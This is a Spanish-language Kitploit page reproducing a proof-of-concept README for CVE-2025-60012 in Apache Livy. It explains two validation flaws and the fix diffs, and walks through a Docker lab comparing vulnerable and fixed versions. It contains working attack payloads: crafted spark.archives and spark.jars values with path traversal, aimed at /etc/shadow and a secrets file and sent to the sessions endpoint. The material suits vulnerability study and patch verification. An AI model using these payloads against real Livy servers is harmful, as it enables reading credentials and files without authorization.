Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-60012-POC — Un POC para la vulnerabilidad de acceso no autorizado a archivos de Apache Livy. | Kitploit
Herramientas/GitHubGitHub/sid6224/cve-2025-60012-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad en la NubeAprendizaje y EducaciónLabs y Práctica
GitHubsid6224/cve-2025-60012-poc

CVE-2025-60012-POC

Un POC para la vulnerabilidad de acceso no autorizado a archivos de Apache Livy.

Ver Repositorio
1hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Solo para fines educativos y de investigación en seguridad. No lo utilice contra sistemas que no posea o para los que no tenga permiso explícito por escrito. → Descargo de responsabilidad completo

CVE-2025-60012 — Acceso no autorizado a archivos en Apache Livy

CVE Livy Severity CWE Type License Platform Language

Resumen

CampoDetalle
CVE IDCVE-2025-60012
SeveridadMedio (CVSS 6.3)
AfectadosApache Livy 0.7.0-incubating, 0.8.0-incubating — cuando está conectado a Apache Spark 3.1 o posterior
Corregido enApache Livy 0.9.0-incubating
CWECWE-20: Validación de entrada incorrecta
Divulgado2026-03-13
Reportado porFurue Hideyuki

Descripción de la vulnerabilidad

Un usuario autenticado con acceso a la interfaz REST o JDBC de Livy puede enviar una sesión de Spark o un trabajo por lotes con valores de configuración manipulados. Dos debilidades se combinan para permitir que el atacante haga referencia a archivos del sistema de archivos local fuera de sus rutas permitidas:

  1. Falta de validación para spark.archives — Spark 3.1 introdujo spark.archives como una forma unificada de distribuir archivos comprimidos entre todos los administradores de clúster. La lista codificada de claves de configuración que se validan en las rutas en Livy 0.8.0 (HARDCODED_SPARK_FILE_LISTS) no incluye spark.archives. Por lo tanto, una ruta pasada a través de esta clave nunca se verifica contra la lista blanca del sistema de archivos local (livy.file.local-dir-whitelist), lo que permite a un atacante hacer referencia a cualquier archivo local.

  2. Omisión de path traversal en la verificación de la lista blanca — Incluso para las claves de configuración que SÍ se validan, la comparación de la lista blanca en Livy 0.8.0 utiliza una simple llamada startsWith de Java String sobre la ruta sin procesar. Un atacante puede eludir esto mediante path traversal: /whitelisted/dir/../../etc/passwd pasa la verificación de la cadena pero se resuelve fuera del directorio permitido.

Archivos fuente afectados

Archivo 1 — LivyConf.scala

Vulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

Corregido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

Archivo 2 — Session.scala

Vulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Corregido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Código fuente — Comandos de clonación

Ambas versiones se clonaron directamente desde el repositorio oficial de Apache Livy en GitHub en este espacio de trabajo utilizando los siguientes comandos exactos:

Repositorio: https://github.com/apache/incubator-livy```bash

Vulnerable version — cloned into ./livy-0.8.0/

git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0

Fixed version — cloned into ./livy-0.9.0/

git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0

root@kitploit:~
| Versión | Etiqueta | Commit resuelto | Ruta local |
|---------|----------|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## Diferencias exactas de código

Las diferencias se produjeron clonando ambas etiquetas localmente (ver arriba) y ejecutando:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Solución 1 — LivyConf.scala: spark.archives añadido a la lista de archivos codificados```diff

private val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,

  • "spark.archives", // <-- ADDED in v0.9.0 (Spark 3.1+ config key) "spark.yarn.archive", "spark.yarn.dist.files", "spark.yarn.dist.jars", "spark.yarn.jar", "spark.yarn.jars" )
root@kitploit:~
**Impacto de la entrada faltante en v0.8.0:**
Cuando un usuario envía una sesión con `conf: {"spark.archives": "file:///etc/passwd"}`, Livy
0.8.0 nunca llama a `resolveURIs()` en ese valor y nunca lo compara con
`livy.file.local-dir-whitelist`. La ruta se reenvía a Spark sin validación.

---

### Fix 2 — `Session.scala`: Normalización de ruta antes de la verificación de la lista blanca```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

Impacto en v0.8.0: La comprobación de cadena sin procesar startsWith puede ser evitada con un payload de path traversal.

Ejemplo: si `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd

root@kitploit:~
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (evadido)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (bloqueado)

## Resumen de vectores de ataque```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

Entorno de Prueba

Todos los pasos de esta PoC se ejecutaron y validaron en el siguiente sistema:

ComponenteDetalle
SO del anfitriónUbuntu 24.04.4 LTS (Noble Numbat)
Kernel6.17.0-14-generic x86_64
Arquitecturax86_64
Memoria total15.49 GiB
Docker Engine28.2.2
JDK del anfitriónOpenJDK 17.0.18 (usado solo por el anfitrión — los contenedores usan eclipse-temurin:11-jdk-focal)
Imagen base del contenedoreclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Versión de Spark (ambas imágenes)3.1.3 con Hadoop 3.2
Versión de Livy — imagen vulnerable0.8.0-incubating (compilación Scala 2.12)
Versión de Livy — imagen corregida0.9.0-incubating (compilación Scala 2.12)

Estructura del Repositorio```

. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh

root@kitploit:~
---

## Prueba de Concepto

### Resumen```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

Secuencia completa de principio a fin — siga los Pasos 1 a 4 en orden:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container

root@kitploit:~
> **Nota:** Livy tarda aproximadamente entre 15 y 20 segundos en estar listo después de `docker run`.
> Todos los pasos a continuación incluyen un `sleep 20` explícito antes de cualquier llamada a la API.

---

### Paso 1 — Construir e iniciar el entorno vulnerable (Livy 0.8.0 + Spark 3.1.3)

**Archivos:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — escucha en `0.0.0.0:8998`, modo local, whitelist = `/opt/safe-data`

**1a. Construir la imagen:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

Validar — imagen creada:```bash docker images cve-2025-60012-vulnerable

root@kitploit:~
Salida esperada:```
REPOSITORY                    TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-vulnerable     latest    <id>           <time>          <size>

1b. Inicia el contenedor:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable

root@kitploit:~
**Validar — el contenedor está en ejecución:**```bash
docker ps --filter name=livy-vulnerable

Salida esperada:``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp

root@kitploit:~
---

**1c. Espera a que Livy se inicie, luego verifica la API REST:**

> Livy requiere ~15–20 segundos para inicializarse antes de atender solicitudes.```bash
sleep 20
curl -s http://localhost:8998/sessions

Salida esperada:```json {"from":0,"total":0,"sessions":[]}

root@kitploit:~
**1d. Validar la estructura de directorios dentro del contenedor:**

Confirmar que el archivo seguro permitido existe:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Salida esperada:``` This file lives inside the whitelisted directory.

root@kitploit:~
Confirme que el archivo sensible objetivo existe fuera de la lista blanca:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

Salida esperada:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!

root@kitploit:~
---

### Paso 2 — Ejecutar validación contra el entorno vulnerable

> El contenedor vulnerable del Paso 1 debe seguir ejecutándose en el puerto 8998.

**Lo que `test/validate.sh` prueba:**

| # | Ataque | Clave de payload | Resultado esperado en Livy 0.8.0 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` ausente de `HARDCODED_SPARK_FILE_LISTS` en `LivyConf.scala` | `spark.archives` | HTTP 201 — ruta aceptada sin validar |
| 2 | Path traversal mediante `String.startsWith()` en `Session.scala` | `spark.jars` con `../` traversal | HTTP 201 — el traversal evade la lista blanca |

**2a. Ejecutar el script:**```bash
bash test/validate.sh

Resultado esperado:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.

TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.

RESULT: VULNERABLE — exit code 1

root@kitploit:~
**2b. Detener y eliminar el contenedor vulnerable:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable

Validar — el contenedor se ha eliminado completamente:```bash docker ps -a --filter name=livy-vulnerable

root@kitploit:~
Salida esperada (vacía — sin filas):```
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Paso 3 — Construir e iniciar el entorno corregido (Livy 0.9.0 + Spark 3.1.3)

Archivos:

  • docker/fixed/Dockerfile — imagen base idéntica y Spark 3.1.3, solo la versión de Livy cambia a 0.9.0
  • docker/fixed/livy.conf — idéntico a docker/vulnerable/livy.conf (misma lista blanca, puerto, modo)

Mantener Spark, la imagen base y toda la configuración idénticos al Paso 1 aísla a Livy como la única variable.

3a. Construir la imagen:```bash docker build -t cve-2025-60012-fixed docker/fixed/

root@kitploit:~
**Validar — imagen fue creada:**```bash
docker images cve-2025-60012-fixed

Salida esperada:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest

root@kitploit:~
**3b. Iniciar el contenedor:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed

Validar — el contenedor está ejecutándose:```bash docker ps --filter name=livy-fixed

root@kitploit:~
Salida esperada:```
CONTAINER ID   IMAGE                   COMMAND        STATUS         PORTS
<id>           cve-2025-60012-fixed    "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp

3c. Espere a que Livy se inicie, luego verifique la API REST:```bash sleep 20 curl -s http://localhost:8998/sessions

root@kitploit:~
Salida esperada:```json
{"from":0,"total":0,"sessions":[]}

Paso 4 — Ejecute la misma validación contra el entorno corregido

El contenedor corregido del Paso 3 debe estar ejecutándose en el puerto 8998. El script es idéntico — sin cambios.

Qué cambia entre el Paso 2 y el Paso 4:

  • Mismos payloads, mismo script
  • Livy 0.9.0 ahora valida spark.archives mediante HARDCODED_SPARK_FILE_LISTS
  • Livy 0.9.0 ahora normaliza rutas con Paths.get().normalize() antes de la verificación de la lista blanca
  • Ambos ataques son rechazados con HTTP 400 antes de que se cree una sesión

4a. Ejecutar el script:```bash bash test/validate.sh

root@kitploit:~
> **Nota:** `validate.sh` funciona de la siguiente manera:
> 1. Consulta `GET /sessions` hasta que Livy responda (hasta 60 segundos), confirmando que el servidor está listo.
> 2. Para cada ataque, envía una solicitud `POST /sessions` mediante `curl` con un payload `conf` manipulado que apunta a un archivo fuera de la lista blanca (`/opt/sensitive/secret.txt`).
> 3. Lee el código de respuesta HTTP: **201** significa que Livy aceptó la ruta sin validación (vulnerable); **400** significa que Livy la rechazó en la comprobación de la lista blanca (corregido).
> 4. Si se creó una sesión (HTTP 201), el script la elimina inmediatamente mediante `DELETE /sessions/{id}` para mantener el servidor limpio.
> 5. Después de ambas pruebas, imprime un resumen y finaliza con el código **1** (vulnerable) o **0** (corregido), lo que lo hace adecuado para su uso en procesos automatizados.

**Salida esperada:**```
TEST      : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

TEST      : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

RESULT: FIXED — exit code 0

Lo que confirman los mensajes de error:

AtaqueHTTPMensaje de errorCausa raíz corregida
1 — spark.archives400Local path /opt/sensitive/secret.txt cannot be added to user sessions.spark.archives añadido a HARDCODED_SPARK_FILE_LISTS en LivyConf.scala; la ruta ahora pasa por la comprobación de lista blanca de resolveURI()
2 — path traversal400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Se añadió Paths.get(...).normalize() en Session.scala; resuelve ../ antes de la comparación con la lista blanca

4b. Detener y eliminar el contenedor corregido:```bash docker stop livy-fixed && docker rm livy-fixed

root@kitploit:~
**Validar — el contenedor está completamente eliminado:**```bash
docker ps -a --filter name=livy-fixed

Salida esperada (vacía — sin filas):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

root@kitploit:~
## Inferencia

CVE-2025-60012 demuestra que una vulnerabilidad no siempre exige eludir un control de seguridad — a veces basta con encontrar una ruta que nunca pasó por ese control en primer lugar.

La lista blanca (`livy.file.local-dir-whitelist`) existía tanto en Livy 0.8.0 como en 0.9.0 y estaba correctamente configurada en ambos entornos. Las fallas estaban en un nivel anterior a ella:

1. **Registro faltante (Ataque 1):** `spark.archives` se introdujo en Spark 3.1 como un reemplazo independiente del administrador de clúster para `spark.yarn.dist.archives`. La lista interna de claves de configuración cuyas rutas se introducen en la comprobación de la lista blanca de Livy (`HARDCODED_SPARK_FILE_LISTS` en `LivyConf.scala`) nunca se actualizó para incluirlo. Por lo tanto, cualquier ruta pasada mediante `spark.archives` se reenviaba a Spark sin ninguna validación. La lista blanca nunca era consultada.

2. **Fallo lógico en la propia comprobación (Ataque 2):** Para las claves que estaban registradas, la comparación con la lista blanca en `Session.scala` usaba `String.startsWith()` de Java sobre la cadena de ruta sin procesar. Esto es insuficiente para comparaciones de rutas de sistemas de archivos porque no tiene en cuenta el avance con `..`. Una ruta como `/opt/safe-data/../sensitive/secret.txt` cumple la comprobación de cadena contra la entrada de lista blanca `/opt/safe-data`, pero se resuelve a una ubicación completamente fuera de ella.

En conjunto, estas dos debilidades significan que un usuario autenticado — sin privilegios especiales más allá del acceso a la interfaz REST o JDBC de Livy — podría hacer referencia a archivos locales arbitrarios en el host del servidor Livy. En un clúster de análisis compartido, esto se traduce en una posible exposición de credenciales, claves, archivos de configuración o cualquier dato legible por el usuario del proceso Livy.

La corrección en 0.9.0 es mínima y dirigida: una línea añadida a `HARDCODED_SPARK_FILE_LISTS` (cerrando la brecha de registro) y una llamada a `Paths.get().normalize()` añadida antes de la comparación con la lista blanca (cerrando la elusión por avance de directorio). Ningún cambio alteró la lista blanca en sí, confirmando que la lista blanca nunca fue el problema — el problema era que el código que alimentaba la lista estaba incompleto e impreciso.

**Conclusión clave para defensores:** Cuando Livy se despliega con Spark 3.1 o posterior, actualizar a Livy 0.9.0-incubating es la única corrección completa. Ajustar `livy.file.local-dir-whitelist` por sí solo no es suficiente contra el Ataque 1, porque las rutas enviadas a través de `spark.archives` omiten completamente esa comprobación en versiones vulnerables.

## Referencias

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- Divulgación OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Lista de correo de Apache: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Proyecto Apache Livy: https://livy.apache.org/

## Agradecimientos

- **Furue Hideyuki** — reportante original de CVE-2025-60012 al equipo de seguridad de Apache.
- **Mantenedores de Apache Livy** — por el rápido triaje y la corrección dirigida en v0.9.0-incubating.
- **Equipo de seguridad de Apache** — por coordinar el proceso de divulgación responsable.
- **Comunidad OSS-Sec** — por el hilo de divulgación pública que hizo posible el análisis independiente.

## Contribuciones

¡Las contribuciones para mejorar este PoC o la documentación son bienvenidas! Asegúrese de que cualquier contribución:

- Siga prácticas de divulgación responsable
- Incluya las renuncias apropiadas
- No incluya código malicioso más allá de la demostración educativa
- Mantenga un enfoque en el valor educativo

Para contribuir, abra un pull request o reporte un issue describiendo el cambio propuesto.

## Licencia

Este proyecto está licenciado bajo la [Licencia MIT](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE).

## Aviso legal

Este repositorio es solo con fines educativos y de investigación en seguridad. La prueba de concepto
demuestra la mecánica de la vulnerabilidad para ayudar a la comprensión y a las medidas defensivas. No
lo use contra sistemas que no le pertenezcan o para los cuales no tenga permiso explícito por escrito para probar.

## Etiquetas

`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`
Descargar herramienta